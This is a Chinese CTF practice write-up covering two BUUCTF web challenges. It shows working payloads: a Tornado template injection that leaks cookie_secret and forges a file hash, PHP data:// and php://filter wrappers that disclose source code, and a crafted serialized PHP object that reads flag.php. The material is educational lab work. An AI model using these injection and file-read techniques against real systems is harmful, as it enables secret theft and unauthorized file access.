当前位置: 首页 > news >正文

[BT]BUUCTF刷题第9天(3.27)

第9天(共2题)

[护网杯 2018]easy_tornado

打开网站就是三个txt文件

在这里插入图片描述

/flag.txt
flag in /fllllllllllllag/welcome.txt
render/hints.txt
md5(cookie_secret+md5(filename))

当点进flag.txt时,url变为

http://b9e52e06-e591-46ad-953e-7e8c5fffa144.node5.buuoj.cn:81/file
?filename=/flag.txt&filehash=41a9f15a56218197f80a148252160b57

所以,为了获得flag,我们应该是要访问:
?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(fllllllllllllag))

flag位于的文件是知道了,但是用于md5加密的cookie_secret还不知道,因此接下来的重点是找到这个值

这里发现如果将url随便修改一下页面会返回报错网页,而且页面显示内容就是url的msg参数值,根据题目描述,网站由Python tornado模板渲染搭建,且/welcome.txt的内容是render ,因此可能存在模板注入
render()是tornado里的函数,可以生成html模板。是一个渲染函数

在这里插入图片描述
尝试输入1

在这里插入图片描述

但是尝试{{7*7}}的时候页面返回ORZ,极有可能网站进行了绕过

在这里插入图片描述
查看题解知道Tornado框架的附属文件handler.settings中存在cookie_secret

那么构造URL:

http://618bb433-84ee-45f8-b7ec-06854eeb3f51.node5.buuoj.cn:81/error?msg={{handler.settings}}

成功得到cookie_secret的值

在这里插入图片描述
接下来就是使用脚本(摘自其他题解)生成带有cookie_secret的MD5加密结果:

import hashlibfile_hash = hashlib.md5()filename = '/fllllllllllllag'
file_hash.update(filename.encode('utf-8'))
s1 = file_hash.hexdigest()cookie_secret = "5e464901-efe3-4de1-8cff-dd7ebc369435"file_hash = hashlib.md5()
file_hash.update((cookie_secret + s1).encode('utf-8'))
print(file_hash.hexdigest())

在这里插入图片描述
最后构造URL:

http://618bb433-84ee-45f8-b7ec-06854eeb3f51.node5.buuoj.cn:81/file
?filename=/fllllllllllllag&filehash=b3d128b5ea44beaee4c83cddf7fb2c7a

成功拿到flag

在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

在这里插入图片描述
打开网站就能看到源代码,首先是3个GET方法传递的参数textfilepassword

第一个判断是打开text参数的文件夹(读模式),将里面的内容和"welcome to the zjctf"进行比对(我们需要使其为真)

第二个是传入的file参数不能包含flag字样

第三个是一段反序列化,我们需要知道源码

为了使第一个判断为真,我们用到的是PHP伪协议的data://【写入协议】:

?text=data://text/plain,welcome to the zjctf      //写入内容?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=  //使用Base64编码写入内容

注意:写入的数据并未保存在网站上的任何地方,它只是作为URL的一部分被读取

写入成功,接下来是获得PHP序列化的源码

在这里插入图片描述
我们看到源代码有一个关键文件useless.php

构造URL来查看useless.php的内容:

http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81/
?text=data://text/plain,welcome%20to%20the%20zjctf/useless.php

但是网站返回的源代码和上面直接看到的没有区别,这里考虑用PHP伪协议的filter【读取协议】:

http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

得到Base64编码数据

在这里插入图片描述
解码后得到:

<?php  
class Flag{  											//flag.php  public $file;  public function __tostring(){  if(isset($this->file)){  echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");}  }  
}  
?>  

根据泄露的序列化源代码,可以构造:

<?php
class Flag{                                            //flag.php  public $file = "flag.php";    }  
echo serialize(new Flag);
?>

得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

构造URL:

http://39b65aba-edc5-4f44-b389-a18a6d29a0d4.node5.buuoj.cn:81
?text=data://text/plain,welcome to the zjctf&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到flag

在这里插入图片描述

相关文章:

  • 整数的反转
  • 离线数仓(八)【DWD 层开发】
  • 芯片工程系列(5)2.5D 3D封装
  • 13 Games101 - 笔记 - 光线追踪(Whitted-Style光线追踪原理详解及实现细节)
  • docker日志大小设置(doker logs)
  • Spring_MVC
  • IP如何异地共享文件?
  • Spring实战:采用Spring配置文件管理Bean
  • 项目搭建之统一返回值
  • 【机器学习】包裹式特征选择之序列前向选择法
  • HCIP作业
  • ES6(一)箭头函数,解构赋值,模板字符串,let 和 const,类和继承
  • 数据结构——二叉搜索树详解
  • XUbuntu22.04之激活Linux最新Typora版本(二百二十五)
  • 以太网与数据链路层
  • 【Redis学习笔记】2018-06-28 redis命令源码学习1
  • 【每日笔记】【Go学习笔记】2019-01-10 codis proxy处理流程
  • 2018以太坊智能合约编程语言solidity的最佳IDEs
  • 2019年如何成为全栈工程师?
  • Android路由框架AnnoRouter:使用Java接口来定义路由跳转
  • Angular数据绑定机制
  • JavaScript中的对象个人分享
  • MySQL几个简单SQL的优化
  • PHP 7 修改了什么呢 -- 2
  • Phpstorm怎样批量删除空行?
  • Python实现BT种子转化为磁力链接【实战】
  • redis学习笔记(三):列表、集合、有序集合
  • SpringCloud(第 039 篇)链接Mysql数据库,通过JpaRepository编写数据库访问
  • thinkphp5.1 easywechat4 微信第三方开放平台
  • Vue--数据传输
  • 百度小程序遇到的问题
  • 从@property说起(二)当我们写下@property (nonatomic, weak) id obj时,我们究竟写了什么...
  • 深入体验bash on windows,在windows上搭建原生的linux开发环境,酷!
  • 首页查询功能的一次实现过程
  • 温故知新之javascript面向对象
  • 我从编程教室毕业
  • 限制Java线程池运行线程以及等待线程数量的策略
  • 7行Python代码的人脸识别
  • 阿里云IoT边缘计算助力企业零改造实现远程运维 ...
  • ​iOS安全加固方法及实现
  • ​MySQL主从复制一致性检测
  • $(function(){})与(function($){....})(jQuery)的区别
  • ${ }的特别功能
  • %check_box% in rails :coditions={:has_many , :through}
  • (pt可视化)利用torch的make_grid进行张量可视化
  • (二十五)admin-boot项目之集成消息队列Rabbitmq
  • (紀錄)[ASP.NET MVC][jQuery]-2 純手工打造屬於自己的 jQuery GridView (含完整程式碼下載)...
  • (接口封装)
  • (论文阅读30/100)Convolutional Pose Machines
  • (转)Linux NTP配置详解 (Network Time Protocol)
  • (转)Linux下编译安装log4cxx
  • (转载)从 Java 代码到 Java 堆
  • .bat批处理(十):从路径字符串中截取盘符、文件名、后缀名等信息
  • .NET 应用启用与禁用自动生成绑定重定向 (bindingRedirect),解决不同版本 dll 的依赖问题
  • .netcore 如何获取系统中所有session_如何把百度推广中获取的线索(基木鱼,电话,百度商桥等)同步到企业微信或者企业CRM等企业营销系统中...